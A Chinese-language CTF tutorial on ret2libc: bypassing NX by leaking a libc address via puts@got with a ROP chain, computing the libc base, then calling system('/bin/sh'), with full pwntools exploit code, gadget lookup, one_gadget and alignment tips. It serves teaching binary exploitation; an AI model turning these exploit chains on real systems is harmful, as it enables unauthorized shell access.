Pwn ret2libc
攻击原理
ret2libc 的提出背景
当程序开启了 NX(No Execute)保护时,栈被标记为不可执行,无法直接在栈上执行 shellcode。ret2text 技术也失效了,因为程序中没有现成的后门函数。
ret2libc(Return to libc) 技术应运而生,它利用程序已经加载到内存中的 libc 动态链接库中的函数(如 system、execve)来执行命令,从而绕过 NX 保护。
libc 动态链接机制
-
GOT 表(Global Offset Table):
- 存储外部函数(如
puts、printf)的真实地址 - 在程序运行时由动态链接器填充
- 每个外部函数在 GOT 表中都有一个条目
- 存储外部函数(如
-
PLT 表(Procedure Linkage Table):
- 提供外部函数的跳转入口
- 第一次调用时,通过 PLT 跳转到动态链接器解析函数地址
- 解析后的地址写入 GOT 表,后续直接跳转
-
libc 基地址:
- libc 库在程序运行时被加载到内存中
- 由于 ASLR(Address Space Layout Randomization)的存在,每次运行基地址不同
- 但 libc 内部的函数相对偏移是固定的
ret2libc 攻击原理
ret2libc 攻击分为两个阶段:
第一阶段:泄露 libc 基地址
-
利用栈溢出调用输出函数:
- 通过栈溢出,将返回地址覆盖为
puts@plt或printf@plt - 将
puts@got作为参数传入,泄露 GOT 表中的真实地址 - 例如:
payload1 = 填充 + pop_rdi_ret + puts_got + puts_plt + main_addr
- 通过栈溢出,将返回地址覆盖为
-
计算 libc 基地址:
- 获取
puts的真实地址后,通过公式计算: libc_base = puts_real_addr - puts_offsetputs_offset可以通过libc.symbols['puts']或工具查询得到
- 获取
第二阶段:调用 system(“/bin/sh”)
-
计算目标函数地址:
system_addr = libc_base + system_offsetbin_sh_addr = libc_base + bin_sh_offset(或通过next(libc.search(b'/bin/sh'))查找)
-
构造 ROP 链:
- 64位系统:
payload2 = 填充 + pop_rdi_ret + bin_sh_addr + system_addr - 32位系统:
payload2 = 填充 + system_addr + 返回地址 + bin_sh_addr
- 64位系统:
-
执行 system 函数:
- 通过栈溢出覆盖返回地址,跳转到
system函数 system("/bin/sh")执行后获得 shell
- 通过栈溢出覆盖返回地址,跳转到
攻击流程图
1 | 第一次栈溢出 |
关键要点
-
需要两次栈溢出:第一次泄露地址,第二次执行 system
-
需要返回 main:第一次溢出后需要返回到 main 函数,以便进行第二次溢出
-
Gadget 查找:需要找到
pop rdi; ret等 ROP gadget 来设置函数参数 -
ASLR 绕过:通过泄露一个 libc 函数地址,可以计算出整个 libc 的基地址
例题
思路总结
ret2libc 是绕过 NX 保护的重要技术,通过利用程序已加载的 libc 库中的函数来执行命令。核心思路是"泄露-计算-利用"。
攻击步骤
-
检查程序保护机制
1
checksec ./binary
- 确认开启了 NX 保护(栈不可执行)
- 确认没有 PIE 或可以泄露地址绕过 PIE
- 确认没有 canary 或可以泄露 canary
-
分析程序漏洞
- 寻找栈溢出漏洞点(gets、scanf 等危险函数)
- 确认可以多次利用(需要两次栈溢出)
- 查找程序中可用的函数(puts、printf、write 等用于泄露)
-
查找必要的 ROP Gadget
1
2
3rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] # 64位
# 或使用 ROPgadget 工具- 64位:需要
pop rdi; ret来设置第一个参数 - 32位:参数通过栈传递,直接构造即可
- 64位:需要
-
第一次栈溢出:泄露 libc 地址
1
2
3
4
5
6
7
8
9
10# 构造 payload
payload1 = b'A' * offset
payload1 += p64(pop_rdi) # pop rdi; ret
payload1 += p64(elf.got['puts']) # puts 的参数:puts_got 地址
payload1 += p64(elf.plt['puts']) # 调用 puts 泄露地址
payload1 += p64(elf.symbols['main']) # 返回 main,准备第二次溢出
# 发送并接收泄露的地址
io.sendline(payload1)
puts_addr = u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00')) -
计算 libc 基地址和目标函数地址
1
2
3
4
5
6
7
8
9
10
11# 方法1:使用 LibcSearcher(需要知道 libc 版本)
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
# 方法2:使用本地 libc(如果题目提供了 libc.so)
libc = ELF('./libc.so.6')
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh')) -
第二次栈溢出:执行 system(“/bin/sh”)
1
2
3
4
5
6
7payload2 = b'A' * offset
payload2 += p64(pop_rdi) # pop rdi; ret
payload2 += p64(bin_sh_addr) # system 的参数:"/bin/sh" 的地址
payload2 += p64(system_addr) # 调用 system
io.sendline(payload2)
io.interactive()
关键技巧
-
泄露函数的选择
- 优先选择
puts、printf、write等输出函数 - 确保这些函数在程序中已被调用(GOT 表已初始化)
- 注意接收泄露数据时的格式(可能需要
recvuntil或recvline)
- 优先选择
-
返回地址的选择
- 第一次溢出后应返回到
main函数,以便进行第二次溢出 - 也可以返回到
vuln函数或其他存在漏洞的函数 - 确保返回后程序不会退出
- 第一次溢出后应返回到
-
libc 版本确定
- 如果题目提供了 libc.so,直接使用
- 如果没有,可以通过泄露多个函数地址,使用
LibcSearcher或在线工具(如 libc.rip)查询 - 不同版本的 libc 函数偏移不同,必须匹配正确
-
栈对齐问题
- 64位系统调用函数时要求栈16字节对齐
- 如果直接跳转导致未对齐,可以在
system_addr前加一个retgadget
-
onegadget 利用
- 某些情况下,libc 中存在可以直接执行
execve("/bin/sh")的 onegadget - 使用
one_gadget工具查找:one_gadget libc.so.6 - 如果条件满足,可以直接跳转到 onegadget,无需构造参数
- 某些情况下,libc 中存在可以直接执行
常见问题
-
泄露的地址不正确:检查接收数据的格式,可能需要
ljust(8, b'\x00')补齐 -
libc 版本不匹配:通过泄露多个函数地址确定正确的 libc 版本
-
栈对齐失败:在关键跳转前添加
retgadget 进行栈对齐 -
无法返回 main:检查 main 函数地址是否正确,或使用其他可重复利用的函数
